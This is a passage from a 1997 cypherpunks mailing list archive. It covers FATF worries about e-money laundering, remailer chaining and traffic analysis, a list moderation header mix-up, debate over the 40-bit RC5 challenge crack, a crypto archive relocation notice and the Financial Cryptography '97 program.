technology moves the world "to a cashless society, beyond banks, cash
and borders."

He said the group's meeting, held in Paris last November, was the first
time an international organization has
examined "the implications of e-money - electronic money - or cyber
payments."

The group had for the first time examined "not only criminal activity as
we see it" at present, but "what kind of
crominal activites might occur as we approach the new payments
technologies relying on the revolution in
microchips and .. changes in payments services generally."

Morris, who heads the U.S. Treasury's Financial Crimes Enforcement
Network (FinCEN), said cash had
become "a significant problem" for criminal groups, which find it
increasingly difficult to channel their criminal
proceeds into the banking system, at least in FATF countries.

"We find a clear move away from direct dealing with banks to non-bank
institutions, including bureaux de
change money order sellers, and even professional services like lawyers
and accountants," he said.

The group had also seen "the realities of economic globalization," he
said, adding that financial activities are
"poorly controlled by the nation states."

Morris said the working group had therefore invited representatives of
the high technology industry now
working on the new payments technology which was still "in the prototype
stage" without any clear indication
as to the direction they might take.

"We wanted to sit down with the industry as experts on money laundering
enforcement.... to let them know now
what kinds of systems would cause us problems and give the bad guys new
opportunities," he said.

The purpose was to seek to encourage development of these technologies
"in ways that do not provide a new
forum for money laundering," he said.

The FATF was essentially a preventive business, Morris added. "We do not
measure our success simply on
arrests and (money) seizures."

FATF chairman Fernando Carpentieri, the Director General of the Italian
Treasury, said drug trafficking
remained a key source of criminal proceeds which crime groups were
seeking to "legalize."

He said the Task Force, consisting mainly of OECD member countries, as
well as Hongkong, Singapore, the
Gulf Cooperation Council and the European Commission, was not at present
considering admitting further
members to preserve its efficiency.

But it was working with the authorities of countries throughout the
world to secure the broadest possible
implementation of the anti-money laundering measures it has
recommended.> G7 groups frets over electronic money laundering





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 6 Feb 1997 15:16:15 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Cypherpunks FOIA request
Message-ID: <199702062316.PAA02568@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:49 PM 2/5/97 -0800, Lucky Green wrote:
>My attorney used to fly planes with nuclear cargo. Another friend of mine
>has been visited several times by the FBI. In either case, the FBI claimed
>upon receiving an FOIA request that they have no record on either person.
>Does anybody here believe that the USAF would let pilots take off with
>nukes on board without ever conducting a background investigation (which
>are handled by the FBI)? I didn't think so.

Background investigations for defense contractors are handled by DISCO, 
the Defense Industrial Security Clearance Office; I don't know if they
also do internal military clearance work, but I'd assume it's
_somebody_ on the military side rather than FBI, though presumably
the military does also check FBI records (and the FBI probably doesn't
have a blanket policy of always lying to the military :-)
Nuclear clearances presumably go into more depth...

As far as your friend being visited by the FBI several times,
that's obviously part of an ongoing criminal investigation (:-),
so they don't have to tell you.  If they're still thinking about
going back and harassing your friend, it's still ongoing, even if
they now know that he is or is not a Commie Sympathizer.

That, or they could have just been unable to find the records.
Anything computerized should be findable (doesn't mean it _is_,
just that it should be), though they're probably more organized
about finding things they want to find than finding things
you want them to find.  But records that exist only on paper
are a lot tougher to wade through; you can't grep dead trees,
and if your friend was being checked out as "somebody suspicious
who knows somebody we're trying to investigate/harass", the files
may not be indentified under your friend's name, or may be
stored in some big warehouse where nobody's waded through them
in decades.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott V. McGuire" <svmcguir@syr.edu>
Date: Thu, 6 Feb 1997 11:21:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: mail-to-news fun
Message-ID: <199702061921.LAA28330@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997 stewarts@ix.netcom.com wrote:
...snip...
> If I were going to restart a remailer, and to offer news posting,
> I'd probably limit it to posting to moderated newsgroups only,
> so a human can trash things that look like SPAM or abuse;
> the abuse that caused me to kill my remailer wasn't something
> a simple filter would catch.  (I'd also prefix each posting with a 
> header about this message having been received from an anonymous source,
> not verified, not guaranteed to be worth the electrons it's printed on,
> probably not written by anybody whose name's at the bottom, etc....
> People don't read mail headers or disclaimers at the bottom,
> and putting disclaimers like that into message text for
> email exposes the message to traffic analysis.)

How does putting it in the message expose it to traffic analysis but not
putting it in a header?

>
...snip...
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 

--------------------
Scott V. McGuire <svmcguir@syr.edu>
PGP key available at http://web.syr.edu/~svmcguir
Key fingerprint = 86 B1 10 3F 4E 48 75 0E  96 9B 1E 52 8B B1 26 05







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Thu, 6 Feb 1997 15:01:41 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Re: "Why am I being completely censored"?
Message-ID: <199702062301.PAA02240@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> 	I'd just appreciate it if someone would explain to me just why
> I'm being completely censored from the cypherpunks list.  ...
> Absolutely none of my recent postings are even going to
> cypherpunks-unedited, I've received no response to my mail to
> gnu@toad.com asking why, and I've received absolutely no bounces
> indicating that there are delivery problems.

I haven't investigated your story because you didn't provide enough
details and because I have been busy with other things.  There is no
infrastructure here for blocking postings from going through
cypherpunks-unedited.  It really is unedited.  Perhaps there is a
mailer problem (at your end or at mine).

If you cc'd yourself on your messages to cypherpunks, please send me a
verbatim copy of such a message that did not appear in
cypherpunks-unedited, including all the header lines.  I can trace
whether it was ever seen on the toad.com end and what happened if it
was.

Hmm.  Your message that I just received, about this problem, was cc'd
to cypherpunks.  It did not make it into the cypherpunks-unedited
list.  In examining the message header itself, there is an "Approved:
yes" line.  My guess is that your attempt to be too tricky has screwed
you.  Majordomo is probably zapping postings that claim to be, but
aren't actually, moderator-approved.  This is just a guess.  Please
try making a posting to cypherpunks without such a line, and see if it
goes through into the unedited list.  Let me know.

	John





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ben <ben@EdelWeb.fr>
Date: Thu, 6 Feb 1997 07:11:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: About: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702061511.HAA24925@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> > > User of the list, has no place to talk. His type, to me,
> > > Characterate those who quit something and complain later,
> > > Knowing that some people will listen to them.
> > >
> > > So what, if he decided to leave? It was his own choice
> > > And he can't just come back and say everyone who stayed is
> > > Now impelled to listen to him, just because he used to
> > > Do a bunch of posts. I don't think that hardly any of
> > > You would listened to me later if I left the list.
> 
>  I write good englich, but I write it verticaly, not horizontaly.
> Try reading the above up-to-down, just the first letters of
> each line.
>  It may be kindegarten crypto, but it made it onto the censored
> list.

Ahh...Sorry for the flame.  You're obviously not a native English
speaker(the Canadian address belies your origins).  Native English
speakers however have no right to poor English.

PS: The word you want is STILL characterize.

Ben.
____
Ben Samman..................................................ben@edelweb.fr
Paris, France                      Illudium Q36 Explosive Space Modulator







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 6 Feb 1997 15:01:03 -0800 (PST)
To: Derrick Storren <cypherpunks@toad.com
Subject: Re: FinCEN hates cybercash, who 'da thunk it...
Message-ID: <199702062301.PAA02200@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>But Stanley Morris of the United States Treasury, who chaired a FAFT
>working group which drafted the report, told a news conference that 
>law enforcement agencies would face 'very major new challenges' if new
>technology moves the world "to a cashless society, beyond banks, cash
>and borders."

Oh No!  First they told us that they were all in favor of a cashless society
because they could track all the transactions.  It was their Orwellian
Dream.  Now Nirvana has almost arrived and they're afraid of it.  Can't
they make up their minds?

I noticed the problem long about 1975 when I noticed that the spread of
ATM cards was actually the spread of a bearer instrument and would
not satisfy the control needs of the regulatory types.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMvpDW4VO4r4sgSPhAQFNzQP/TOFgteQk7mry+GSqew1Yee4i24oOwJKS
HWIkmkekJB+JeaYiR3/od78ZfJUchJR6iH3isKD4a3ijofpGstXWKrmHGpPpZUJu
9ng7MxOn4fYOWSzcP2TnNOjq5rc6IA2ROahGD2OHkHPYp8bjS36ssbu1GmGbHofQ
pvkUXNxrdIk=
=VKtO
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
Date: Thu, 6 Feb 1997 15:12:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Why am I being completely censored"?
Message-ID: <199702062312.PAA02488@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> John Gilmore writes:

JG> Hmm.  Your message that I just received, about this problem, was
JG> cc'd to cypherpunks.  It did not make it into the
JG> cypherpunks-unedited list.  In examining the message header
JG> itself, there is an "Approved: yes" line.  My guess is that your
JG> attempt to be too tricky has screwed you.

	It appears that this was the problem.  Deal with a
self-moderated newsgroup, and ent up with self-censorship.  *shrug*.
I wish that John had helped to resolve the problem before I made it
public, but that's life.

-- 
#include <disclaimer.h>                               /* Sten Drescher */
ObCDABait:      For she doted upon their paramours, whose flesh is as the
flesh of asses, and whose issue is like the issue of horses.  [Eze 23:20]
ObFelony: President Clinton, you suck, and those boys died!
Unsolicited bulk email will be stored and handled for a US$500/KB fee.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark C. Henderson" <markh@wimsey.bc.ca>
Date: Thu, 6 Feb 1997 16:58:57 -0800 (PST)
To: cryptography@c2.net
Subject: Wimsey cryptography archive is moving to Mindlink
Message-ID: <199702070058.QAA04389@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Subject: Wimsey cryptography archive is moving to Mindlink

The Wimsey cryptography archive at ftp://ftp.wimsey.com/pub/crypto is moving
to MIND LINK (http://www.mindlink.net). 

You can now access the contents of the cryptography archive at its new location
ftp://ftp.mindlink.net/pub/crypto

The archive has been at Wimsey for about five years. I'd like to thank
the folks at Wimsey for providing disk space, bandwidth, technical
expertise, and for supporting the distribution of ~140MB of cryptography 
papers and software on the Internet.

As with Wimsey, MIND LINK is providing disk space and bandwidth 
for the archive at no charge to me or the users of the archive.
Thanks should go to MIND LINK for providing this as a service to
the Internet community.

Two small notes:
1. I assume sole responsibility for the contents of the archive. The
   folks at MIND LINK are generously providing facilties at no charge
   above their usual access fees, but they are not necessarily even 
   aware of the exact contents of the archive. My only connection with 
   MIND LINK is as a customer. 

2. Please do not attempt to use the MIND LINK crypto archive to violate
   the laws of the U.S. or Canada. Distribution of cryptographic software
   is limited to U.S./Canadian persons in the U.S./Canada. All access to 
   the site is logged.

Any problems or questions? Please feel free to contact me at 
mark_henderson@mindlink.net 


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv

iQCVAwUBMvptauI11LPFgBXjAQGw7AQAgYTIUjU/6O40gTgFvhtDrBMc+TEaWW2x
2sHdk0QYRPJ2uGwoQA7psbHh2r6eu/6NqKCmKALTnZ1caWDcZLKsiLyDHQKwSGQV
EK/+xnXqnb87MJfCGL5deDLCUOIo2UupFttCxd6EAdD8Dt670WT+Oe3Q9acrnmIM
Lr+wyuw8WS8=
=NilL
-----END PGP SIGNATURE-----

-- 
Mark Henderson -- markh@wimsey.bc.ca, mark_henderson@mindlink.net
PGP Key Fingerprint: 21 F6 AF 2B 6A 8A 0B E1  A1 2A 2A 06 4A D5 92 46
http://www.squirrel.com/squirrel/ - change-sun-hostid, unstrip for Solaris, 
computer security, TECO, FGMP, Sun NVRAM/hostid FAQ, MIND LINK crypto archive





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark C. Henderson" <markh@wimsey.bc.ca>
Date: Thu, 6 Feb 1997 19:41:23 -0800 (PST)
To: cryptography@c2.net
Subject: Wimsey cryptography archive is moving to Mindlink
Message-ID: <199702070341.TAA07921@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Subject: Wimsey cryptography archive is moving to Mindlink

The Wimsey cryptography archive at ftp://ftp.wimsey.com/pub/crypto is moving
to MIND LINK (http://www.mindlink.net). 

You can now access the contents of the cryptography archive at its new location
ftp://ftp.mindlink.net/pub/crypto

The archive has been at Wimsey for about five years. I'd like to thank
the folks at Wimsey for providing disk space, bandwidth, technical
expertise, and for supporting the distribution of ~140MB of cryptography 
papers and software on the Internet.

As with Wimsey, MIND LINK is providing disk space and bandwidth 
for the archive at no charge to me or the users of the archive.
Thanks should go to MIND LINK for providing this as a service to
the Internet community.

Two small notes:
1. I assume sole responsibility for the contents of the archive. The
   folks at MIND LINK are generously providing facilties at no charge
   above their usual access fees, but they are not necessarily even 
   aware of the exact contents of the archive. My only connection with 
   MIND LINK is as a customer. 

2. Please do not attempt to use the MIND LINK crypto archive to violate
   the laws of the U.S. or Canada. Distribution of cryptographic software
   is limited to U.S./Canadian persons in the U.S./Canada. All access to 
   the site is logged.

Any problems or questions? Please feel free to contact me at 
mark_henderson@mindlink.net 


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv

iQCVAwUBMvptauI11LPFgBXjAQGw7AQAgYTIUjU/6O40gTgFvhtDrBMc+TEaWW2x
2sHdk0QYRPJ2uGwoQA7psbHh2r6eu/6NqKCmKALTnZ1caWDcZLKsiLyDHQKwSGQV
EK/+xnXqnb87MJfCGL5deDLCUOIo2UupFttCxd6EAdD8Dt670WT+Oe3Q9acrnmIM
Lr+wyuw8WS8=
=NilL
-----END PGP SIGNATURE-----

-- 
Mark Henderson -- markh@wimsey.bc.ca, mark_henderson@mindlink.net
PGP Key Fingerprint: 21 F6 AF 2B 6A 8A 0B E1  A1 2A 2A 06 4A D5 92 46
http://www.squirrel.com/squirrel/ - change-sun-hostid, unstrip for Solaris, 
computer security, TECO, FGMP, Sun NVRAM/hostid FAQ, MIND LINK crypto archive





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 6 Feb 1997 17:11:19 -0800 (PST)
To: "Scott V. McGuire" <svmcguir@syr.edu>
Subject: Re: mail-to-news fun
Message-ID: <199702070111.RAA04677@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:01 PM 2/6/97 -0500, Scott V. McGuire wrote:
>On Wed, 5 Feb 1997 stewarts@ix.netcom.com wrote:
>> People don't read mail headers or disclaimers at the bottom,
>> and putting disclaimers like that into message text for
>> email exposes the message to traffic analysis.)

>How does putting it in the message expose it to traffic analysis but not
>putting it in a header?

Suppose you're sending a message on a remailer chain of
you -> Alice->Bob->Charlie->Dave->Eve->Fred--> target
and Bob puts lots of disclaimers in his remailer's outgoing messages.
Anything Bob puts in a header will get stripped out by Charlie,
so it's no problem.  However, if Bob tacks a disclaimer
as the bottom text in the outgoing message, when Eve sends
mail to Fred she'll also see the disclaimer that
	The message was sent by an anonymous user
	through the remailer at Bob's Remailer Shack.
	Bob doesn't know who sent it, and doesn't keep records,
	so he can't squash the user, but he can block mail to you
	if you don't want any more anonymous email.
	Don't believe everything you read!
so she'll know to check the FBI Illegal Wiretap files for Bob.

Some comments and backtracking
0) Of course, if you want to avoid traffic analysis,
sending unencrypted email is pretty stupid, and only the
next hop is going to see a disclaimer that you append 
after the encrypted part of the message.

1) Prepending the disclaimer to the message body is
pretty unfriendly to the :: syntax, and not all that
great for PGP encrypted messages either.  Pretend I 
really just suggested appending it at the end,
since that's what I would have said if I'd been thinking :-)

On the other hand, I suppose that you can see whether the
next hop is a Type I remailer by looking for the :: or ##.

2) Cutmarks would be a nice fix, but they require too much
attention to detail to get right, in case the next hop
is a remailer.

So maybe you _should_ always put in the disclaimer,
at the end, with a reminder to always encrypt your
remailer-chain mail if you want to avoid traffic analysis :-)





#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Thu, 6 Feb 1997 15:01:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: 40-bit RC5 crack meaningless??
Message-ID: <199702062301.PAA02248@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(A gem off sci.crypt. Schwartau's mailing list is turning into the most
amazing source of misinformation or disinformation about cryptography on
the Net.  And he's probably got the most influential audience in Washington
re crypto policy. Go figure;-)
----------------
Subject: 40-bit RC5 crack meaningless??
 Date: 6 Feb 1997 11:43:58 -0500
 From: nobody@REPLAY.COM (Anonymous)
Organization: Replay and Company UnLimited
Newsgroups:  sci.crypt


Strassmann, the author of this denunciation of RSADS and
Ian Goldberg, is the former Director of Defense Information
(i.e., CIO,) of the Bush DoD and an often-insightful commentator
on business culture and computing.  Strange is the logic that
channels the mind of the American Defense Intellectual... or,
maybe he just doesn't know squat about cryptography???

(Reposted from Infowar Digest, Winn Schwartau's
moderated mailing list <mail to: infowar@infowar.com>
without permission.)

>Date: Thu, 30 Jan 1997 20:10:36 -0500
>To: "Wright Larry" <Wright_Larry@bah.com>
>From: "Paul A. Strassmann" <paul@strassmann.com>
>Subject: Further to Goldberg's Cracking Accomplishments
>Gentlemen:
>
>As I suspected (see earlier private comment), the
>highly promoted RSA cracking contest offered
>a number of clues that ordinarly would not be
>volunteered by  info-terrorists or info-criminals to
>IW Defense teams.
>
>These clues made the cracking significantly easier,
>because it made it possible to eliminate an enormous
>range of possible searches.
>
>The following was extracted verbatim from the
><The RSA Data Security Secret-Key Challenge>
>posted on <http://www.rsa.com/rsalabs/97challenge/>:
>
>Clue #1:
>
>  " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge
>will use 12-round RC5 with a 32-bit word size. "
>
>Clue #2:
>
>  " ...The first RC5 contest will consist of some unknown plaintext
>encrypted using a 40-bit key;."
>
>Clue #3: (a  giveway!)
>
> " ... For each contest, the unknown plaintext message is preceded by three
>   known blocks of text that contain the 24-character phrase "The
>   unknown message is:  .....".
>
>In summary: The claim of exportable cryptography being totally
>insecure, because it can be cracked in 3.5 hours is not
>realistic. The three clues announced in the contest
>would not apply  under infowar conditions.
>
>What other clues may have been provided to Goldberg
>to  support private agendas and gain shrill headlines
>is also a matter of speculation, but I rest my case.
>
>I certainly cannot assert that a 40 bit key cannot be decyphered.
>However, I do not think that the RSA unqualified claims
>offer full and appropriate disclosure.
>
>Paul
>
>At 10:21 AM -0500 1/30/97, Wright Larry wrote:
>>Following provided for your information.
>>
>>
>>EXPORTABLE CRYPTOGRAPHY TOTALLY INSECURE: CHALLENGE
>>CIPHER BROKEN IMMEDIATELY
>>
>>January 28, 1997 - Ian Goldberg, a UC Berkeley graduate
>>student, announced today that he had successfully
>>cracked RSA Data Security Inc.'s 40-bit challenge cipher
>>in just under 3.5 hours.
>>
>>RSA challenged scientists to break their encryption
>>technology, offering a $1000 award for breaking the
>>weakest version of the code.  Their offering was
>>designed to stimulate research and practical experience
>>with the security of today's codes.
>>
>>The number of bits in a cipher is an indication of the
>>maximum level of security the cipher can provide.  Each
>>additional bit doubles the potential security level of
>>the cipher.  A recent panel of experts recommended
>>using 90-bit ciphers, and 128-bit ciphers are commonly
>>used throughout the world, but US government regulations
>>restrict exportable US products to a mere 40 bits.
>>
>>Goldberg's announcement, which came just three and a
>>half hours after RSA started their contest, provides
>>very strong evidence that 40-bit ciphers are totally
>>unsuitable for practical security.  "This is the
>>final proof of what we've known for years: 40-bit
>>encryption technology is obsolete," Goldberg said.

<...Rest of the nnouncement from UC Berkeley snipped>

>Paul A. Strassmann
>55 Talmadge Hill Road, New Canaan, CT. 06840
>Telephone: 203-966-5505; Fax: 203-966-5506
>INTERNET:                  paul@strassmann.com
>WorldwideWeb:           http://www.strassmann.com
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Thu, 6 Feb 1997 15:28:42 -0800 (PST)
To: Remailer Operators <cypherpunks@toad.com>
Subject: Updated type2.list/pubring.mix
Message-ID: <199702062328.PAA02783@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I have just updated the type2.list/pubring.mix combination on jpunix.com.
This change reflects the retirement of the lead remailer. The files are
available by anon FTP from ftp.jpunix.com as well as by Web from
www.jpunix.com.

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvphXlOTpEThrthvAQGUUQP+Ky4BkG/WYyVKCp0gAANWIGF6or7yd0nm
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QjH9lTEVqnlJk515xSC5lCZwqTgMwHBZZhGJyvYlJam5A3EZLrALdFUFdFagKWRN
3dc5iLDuZ94=
=pAwB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 6 Feb 1997 19:41:16 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Re: "Why am I being completely censored"?
Message-ID: <199702070341.TAA07903@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:47 PM 2/6/97 -0600, Firebeard wrote:
>>>>>> John Gilmore writes:
>
>JG> Hmm.  Your message that I just received, about this problem, was
>JG> cc'd to cypherpunks.  It did not make it into the
>JG> cypherpunks-unedited list.  In examining the message header
>JG> itself, there is an "Approved: yes" line.  My guess is that your
>JG> attempt to be too tricky has screwed you.
>
>	It appears that this was the problem.  Deal with a
>self-moderated newsgroup, and ent up with self-censorship.  *shrug*.
>I wish that John had helped to resolve the problem before I made it
>public, but that's life.

John does have other things to do with his time, you know :-)
If you're abusing email syntax to fake out specialized mail/news handling, 
you shouldn't be surprised if it doesn't always fake out the parts
of the system you were trying to fake out....



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 6 Feb 1997 15:14:58 -0800 (PST)
To: c.musselman@internetmci.com
Subject: Re: anonymous remailers
Message-ID: <199702062314.PAA02544@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

c.musselman@internetmci.com (Charley Musselman) writes:
> C'punks --
>         When I told a friend about the alt.drugs.pot cultivation newsgroup
> and suggested that he use an anonymous remailer to post to the group,
> he laughed and said, "Who do you suppose runs the remailers?  ATF,
> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> anyone know the answer?  Specifically, how can we choose a trusted
> remailer?

The solution is not to choose a trusted remailer, but to choose a
group of remailers and send your message through each one
sequentially. If you use encryption, and any one of the remailers you
send your message through is trustworthy, than it is difficult or
impossible for someone to trace your message.

Here are some places to go to find more info on remailers:
http://WWW.CSUA.Berkeley.EDU/cypherpunks/remailer/
http://www.stack.nl/~galactus/remailers/index-anon.html
http://www.cs.berkeley.edu/~raph/remailer-list.html (Look at the
bottom, there's everything you need to know there.)

Please bear in mind that anon.penet.fi no longer exists, and that it
wasn't all that secure when it did.

Hope this helps, and happy growing :-)
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
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=p5V+
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Roy M. Silvernail" <roy@sendai.scytale.com>
Date: Thu, 6 Feb 1997 19:41:22 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: ITAR and Paper ROM
Message-ID: <199702070341.TAA07918@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, stewarts@ix.netcom.com writes:

> More practically, sort of, there was the Cauzin Softstrip Reader,
> which cost about $200 and held enough data to distribute programs
> back when computers and programs were much smaller; a few PC magazines
> tried distributing programs by printing them in the back that way.
> Cute, but not cute enough to stick around very long.

Cauzin was bought by Eastman Kodak shortly after they started
advertising in the big rags (like _Byte_, which printed a test strip a
month or so before Cauzin made their big advertising push).  Cauzin was
even putting freeware programs in their ads.  At that time, Kodak was
just entering the soon-to-be-lucrative magnetic media market with their
floppy disk line.  I'd say they were bought and buried.
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
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9NS0RZOiPEY=
=PFiP
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 6 Feb 1997 16:58:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702070058.QAA04388@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 6 Feb 1997, Vin McLellan wrote:

> >Date: Thu, 30 Jan 1997 20:10:36 -0500
> >To: "Wright Larry" <Wright_Larry@bah.com>
> >From: "Paul A. Strassmann" <paul@strassmann.com>
> >Subject: Further to Goldberg's Cracking Accomplishments
> >Gentlemen:
> >
> >As I suspected (see earlier private comment), the
> >highly promoted RSA cracking contest offered
> >a number of clues that ordinarly would not be
> >volunteered by  info-terrorists or info-criminals to
> >IW Defense teams.
> >
> >These clues made the cracking significantly easier,
> >because it made it possible to eliminate an enormous
> >range of possible searches.

Hmm..., word size, number of rounds, and key size are "clues"?  At least he
won't be able to make this claim when DES is cracked.  OTOH, he might consider
a known IV to be information not available under "infowar conditions."
Apparently, "Info Warriors" aren't supposed to be familiar with open standards.

> >Clue #3: (a  giveway!)
> >
> > " ... For each contest, the unknown plaintext message is preceded by three
> >   known blocks of text that contain the 24-character phrase "The
> >   unknown message is:  .....".

He considers a known-plaintext attack to be "a  giveway![sic]"?  It seems that
this guy could use a few clues himself.


Mark
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=ltSt
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: R.Hirschfeld@cwi.nl
Date: Thu, 6 Feb 1997 11:22:40 -0800 (PST)
To: ray@cwi.nl
Subject: revised FC97 program
Message-ID: <199702061922.LAA28379@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


		      Financial Cryptography '97
		  February 24-28 1997, Anguilla, BWI
			 PRELIMINARY PROGRAM
		      (Revised 6 February 1997)


General Information:

Financial Cryptography '97 (FC97) is a new conference on the security
of digital financial transactions.  The first meeting will be held on
the island of Anguilla in the British West Indies on February 24-28,
1997.  FC97 aims to bring together persons involved in both the
financial and data security fields to foster cooperation and exchange
of ideas.

Original papers were solicited on all aspects of financial data
security and digital commerce in general.


Program Committee:

Matthew Franklin, AT&T Laboratories--Research, Murray Hill, NJ, USA
Michael Froomkin, U. Miami School of Law, Coral Gables, FL, USA
Rafael Hirschfeld (Program Chair), CWI, Amsterdam, The Netherlands
Arjen Lenstra, Citibank, New York, NY, USA
Mark Manasse, Digital Equipment Corporation, Palo Alto, CA, USA
Kevin McCurley, Sandia Laboratories, Albuquerque, NM, USA
Charles Merrill, McCarter & English, Newark, NJ, USA
Clifford Neuman, Information Sciences Institute, Marina del Rey, CA, USA
Sholom Rosen, Citibank, New York, NY, USA
Israel Sendrovic, Federal Reserve Bank of New York, New York, NY, USA


Preliminary Conference Program for FC97:

Monday 24 February 1997

 800 --  820
    Breakfast

 820 --  830
    Welcome

 830 --  905
    Anonymity Control in E-Cash Systems
    George Davida (University of Wisconsin, Milwaukee, WI, USA),
    Yair Frankel (Sandia National Laboratories, Albuquerque, NM, USA),
    Yiannis Tsiounis (Northeastern University, Boston, MA, USA),
    Moti Yung (CertCo, New York, NY, USA)

 905 --  940
    How to Make Personalized Web Browsing Simple, Secure, and Anonymous
    Eran Gabber, Phil Gibbons, Yossi Matias, Alain Mayer
        (Bell Laboratories, Lucent Technologies)

 940 -- 1015
    Anonymous Networking and Virtual Intranets: Tools for Anonymous
        Corporations
    Jim McCoy (Electric Communities, Cupertino, CA, USA)

1015 -- 1045
    Coffee Break

1045 -- 1120
    Unlinkable Serial Transactions
    Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA),
    Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA),
    David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA)

1120 -- 1155
    Efficient Electronic Cash with Restricted Privacy
    Cristian Radu, Rene Govaerts, Joos Vandewalle
        (Katholieke Universiteit Leuven, Leuven, Belgium)

1155 -- 1230
    The SPEED Cipher
    Yuliang Zheng (Monash University, Melbourne, Australia)

1230 -- 1330
    Lunch

1800 -- 1930
    Cocktail Reception (at Mariners Hotel)


Tuesday 25 February 1997

 800 --  830
    Breakfast

 830 --  930
    Invited Speaker
